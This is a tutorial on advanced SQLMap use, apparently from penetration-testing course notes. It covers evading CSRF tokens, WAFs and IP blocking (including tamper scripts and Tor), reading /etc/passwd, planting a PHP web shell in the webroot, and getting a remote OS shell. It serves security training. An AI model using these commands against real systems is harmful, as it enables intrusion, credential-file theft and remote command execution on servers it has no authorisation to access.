# Advanced SQLMap Usage ## Bypassing Web Application Protections ### Anti-CSRF Token Bypass One of the first lines of defense against the usage of automation tools is the incorporation of anti-CSRF (i.e., Cross-Site Request Forgery) tokens into all HTTP requests, especially those generated as a result of web-form filling. Nevertheless, SQLMap has options that can help in bypassing anti-CSRF protection. Namely, the most important option is `--csrf-token`. By specifying the token parameter name (which should already be available within the provided request data), SQLMap will automatically attempt to parse the target response content and search for fresh token values so it can use them in the next request. Additionally, even in a case where the user does not explicitly specify the token's name via `--csrf-token`, if one of the provided parameters contains any of the common infixes (i.e. `csrf`, `xsrf`, `token`), the user will be prompted whether to update it in further requests: ```bash sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token" ``` ### Unique Value Bypass In some cases, the web application may only require unique values to be provided inside predefined parameters. Such a mechanism is similar to the anti-CSRF technique described above, except that there is no need to parse the web page content. So, by simply ensuring that each request has a unique value for a predefined parameter, the web application can easily prevent CSRF attempts while at the same time averting some of the automation tools. For this, the option `--randomize` should be used, pointing to the parameter name containing a value which should be randomized before being sent: ```bash sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch -v 5 ``` ### Calculated Parameter Bypass Another similar mechanism is where a web application expects a proper parameter value to be calculated based on some other parameter value(s). Most often, one parameter value has to contain the message digest (e.g. `h=MD5(id)`) of another one. To bypass this, the option `--eval` should be used, where a valid Python code is being evaluated just before the request is being sent to the target: ```bash sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5 ``` ### IP Address Concealing In case we want to conceal our IP address, or if a certain web application has a protection mechanism that blacklists our current IP address, we can try to use a proxy or the anonymity network Tor. A proxy can be set with the option `--proxy` (e.g. `--proxy="socks4://177.39.187.70:33283"`), where we should add a working proxy. In addition to that, if we have a list of proxies, we can provide them to SQLMap with the option `--proxy-file`. By using switch `--tor`, SQLMap will automatically try to find the local port and use it appropriately. If we wanted to be sure that Tor is properly being used, to prevent unwanted behavior, we could use the switch `--check-tor`. In such cases, SQLMap will connect to the `https://check.torproject.org/` and check the response for the intended result (i.e., `Congratulations` appears inside). ### WAF Bypass Whenever we run SQLMap, As part of the initial tests, SQLMap sends a predefined malicious looking payload using a non-existent parameter name (e.g. `?pfov=...`) to test for the existence of a WAF (Web Application Firewall). In case of a positive detection, to identify the actual protection mechanism, SQLMap uses a third-party library [identYwaf](https://github.com/stamparm/identYwaf), containing the signatures of 80 different WAF solutions. If we wanted to skip this heuristical test altogether (i.e., to produce less noise), we can use switch `--skip-waf`. ### User-agent Blacklisting Bypass This is trivial to bypass with the switch `--random-agent`, which changes the default user-agent with a randomly chosen value from a large pool of values used by browsers. {% hint style="info" %} If some form of protection is detected during the run, we can expect problems with the target, even other security mechanisms. The main reason is the continuous development and new improvements in such protections, leaving smaller and smaller maneuver space for attackers. {% endhint %} ### Tamper Scripts Finally, one of the most popular mechanisms implemented in SQLMap for bypassing WAF/IPS solutions is the so-called "tamper" scripts. Tamper scripts are a special kind of (Python) scripts written for modifying requests just before being sent to the target, in most cases to bypass some protection. For example, one of the most popular tamper scripts [between](https://github.com/sqlmapproject/sqlmap/blob/master/tamper/between.py) is replacing all occurrences of greater than operator (`>`) with `NOT BETWEEN 0 AND #`, and the equals operator (`=`) with `BETWEEN # AND #`. This way, many primitive protection mechanisms (focused mostly on preventing XSS attacks) are easily bypassed, at least for SQLi purposes. Tamper scripts can be chained, one after another, within the `--tamper` option (e.g. `--tamper=between,randomcase`), where they are run based on their predefined priority. A priority is predefined to prevent any unwanted behavior, as some scripts modify payloads by modifying their SQL syntax (e.g. [ifnull2ifisnull](https://github.com/sqlmapproject/sqlmap/blob/master/tamper/ifnull2ifisnull.py)). In contrast, some tamper scripts do not care about the inner content (e.g. [appendnullbyte](https://github.com/sqlmapproject/sqlmap/blob/master/tamper/appendnullbyte.py)). The most notable tamper scripts are the following: | **Tamper-Script** | **Description** | | --------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | | `0eunion` | Replaces instances of UNION with e0UNION | | `base64encode` | Base64-encodes all characters in a given payload | | `between` | Replaces greater than operator (`>`) with `NOT BETWEEN 0 AND #` and equals operator (`=`) with `BETWEEN # AND #` | | `commalesslimit` | Replaces (MySQL) instances like `LIMIT M, N` with `LIMIT N OFFSET M` counterpart | | `equaltolike` | Replaces all occurrences of operator equal (`=`) with `LIKE` counterpart | | `halfversionedmorekeywords` | Adds (MySQL) versioned comment before each keyword | | `modsecurityversioned` | Embraces complete query with (MySQL) versioned comment | | `modsecurityzeroversioned` | Embraces complete query with (MySQL) zero-versioned comment | | `percentage` | Adds a percentage sign (`%`) in front of each character (e.g. SELECT -> %S%E%L%E%C%T) | | `plus2concat` | Replaces plus operator (`+`) with (MsSQL) function CONCAT() counterpart | | `randomcase` | Replaces each keyword character with random case value (e.g. SELECT -> SEleCt) | | `space2comment` | Replaces space character ( ) with comments \`/ | | `space2dash` | Replaces space character ( ) with a dash comment (`--`) followed by a random string and a new line () | | `space2hash` | Replaces (MySQL) instances of space character ( ) with a pound character (`#`) followed by a random string and a new line () | | `space2mssqlblank` | Replaces (MsSQL) instances of space character ( ) with a random blank character from a valid set of alternate characters | | `space2plus` | Replaces space character ( ) with plus (`+`) | | `space2randomblank` | Replaces space character ( ) with a random blank character from a valid set of alternate characters | | `symboliclogical` | Replaces AND and OR logical operators with their symbolic counterparts (`&&` and `\|\|`) | | `versionedkeywords` | Encloses each non-function keyword with (MySQL) versioned comment | | `versionedmorekeywords` | Encloses each keyword with (MySQL) versioned comment | To get a whole list of implemented tamper scripts, along with the description as above, switch `--list-tampers` can be used. We can also develop custom Tamper scripts for any custom type of attack, like a second-order SQLi. ### Miscellaneous Bypasses Out of other protection bypass mechanisms, there are also two more that should be mentioned. The first one is the `Chunked` transfer encoding, turned on using the switch `--chunked`, which splits the POST request's body into so-called "chunks." Blacklisted SQL keywords are split between chunks in a way that the request containing them can pass unnoticed. The other bypass mechanisms is the `HTTP parameter pollution` (`HPP`), where payloads are split in a similar way as in case of `--chunked` between different same parameter named values (e.g. `?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users...`), which are concatenated by the target platform if supporting it (e.g. `ASP`). ## OS Exploitation ### File Read/Write An example of such a command is: * `LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE passwd;` While we do not necessarily need to have database administrator privileges (DBA) to read data, this is becoming more common in modern DBMSes. ### Checking for DBA Privileges To check whether we have DBA privileges with SQLMap, we can use the `--is-dba` option: ```bash sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba ``` ### Reading Local Files ```bash sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd" ``` As we can see, SQLMap said `files saved` to a local file. We can `cat` the local file to see its content: ```bash cat ~/.sqlmap/output/www.example.com/files/_etc_passwd ``` ### Writing Local Files OFTEN disabled by default due to how dangerous this permission is. Still, many web applications require the ability for DBMSes to write data into files, so it is worth testing whether we can write files to the remote server. To do that with SQLMap, we can use the `--file-write` and `--file-dest` options. First, let's prepare a basic PHP web shell and write it into a `shell.php` file: ```bash echo '' > shell.php ``` Now, let's attempt to write this file on the remote server, in the `/var/www/html/` directory, the default server webroot for Apache. If we didn't know the server webroot, we will see how SQLMap can automatically find it. ```bash sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php" ``` Now, we can attempt to access the remote PHP shell, and execute a sample command: ```bash curl http://www.example.com/shell.php?cmd=ls+-la ``` ### OS Command Execution SQLMap utilizes various techniques to get a remote shell through SQL injection vulnerabilities, like writing a remote shell, as we just did, writing SQL functions that execute commands and retrieve output or even using some SQL queries that directly execute OS command, like `xp_cmdshell` in Microsoft SQL Server. To get an OS shell with SQLMap, we can use the `--os-shell` option, as follows: ```bash sqlmap -u "http://www.example.com/?id=1" --os-shell ``` We see that SQLMap defaulted to `UNION` technique to get an OS shell, but eventually failed to give us any output `No output`. So, as we already know we have multiple types of SQL injection vulnerabilities, let's try to specify another technique that has a better chance of giving us direct output, like the `Error-based SQL Injection`, which we can specify with `--technique=E`: ```bash sqlmap -u "http://www.example.com/?id=1" --os-shell --technique=E ``` As we can see, this time SQLMap successfully dropped us into an easy interactive remote shell, giving us easy remote code execution through this SQLi. {% hint style="info" %} SQLMap first asked us for the type of language used on this remote server, which we know is PHP. Then it asked us for the server web root directory, and we asked SQLMap to automatically find it using 'common location(s)'. Both of these options are the default options, and would have been automatically chosen if we added the '--batch' option to SQLMap. {% endhint %} ## Websockets ```bash sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --dbs --threads 10 -- level 5 --risk 3 --batch ```